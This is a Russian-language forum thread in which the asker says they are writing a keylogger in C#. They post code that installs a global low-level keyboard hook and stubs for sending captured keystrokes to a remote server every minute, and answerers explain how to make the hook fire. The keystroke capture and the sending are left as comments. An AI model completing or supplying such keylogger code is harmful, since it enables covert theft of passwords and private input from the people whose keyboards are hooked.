Низкоуровневая клавиатура не вызывается в приложении .NET - PullRequest
5 голосов
/ 07 апреля 2011

Я пишу кейлоггер на C #, но у меня возникают проблемы с вызовом моего метода ловушки из событий клавиатуры. Мой код кажется правильным, но по какой-то причине обратный вызов не происходит.

Вот соответствующий код:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()
{
    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    {
        Thread.Sleep(60000);
        SendKeyData();
    }
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

private static void SendKeyData()
{
    /* code to send accumulated keystroke data to remote server would be here */
}

Вызов SetWindowsHookEx возвращает дескриптор (т. Е. Не нуль), как следует, поэтому он должен означать, что он установлен, но когда я ставлю точку останова в HookCallback, она никогда не достигается.

Может кто-нибудь сообщить, что я могу делать не так?

Ответы [ 2 ]

4 голосов
/ 07 апреля 2011

Похоже, вы пишете консольное приложение.Это должно быть приложение форм, так как вы обрабатываете события Windows.Просто скройте форму, и она должна работать.

В качестве обходного пути для консольных приложений вы можете вызвать Application.DoEvents() в вашем цикле:

for (;;)
{
    Thread.Sleep(1);
    Application.DoEvents(); //Process event queue
    SendKeyData();
}

Пожалуйста, используйте этодобра, а не зла.

0 голосов
/ 07 апреля 2011

Попробуйте заменить GetModuleHandle (null) на

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName)

и посмотрим, поможет ли это. Обратите внимание, что как объект Process, возвращенный из GetCurrentProcess (), так и объект ProcessModule, возвращенный из MainModule, являются одноразовыми, поэтому вы можете объявить их как переменные, а затем утилизировать их вручную; еще лучше, поместите их в using блок.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...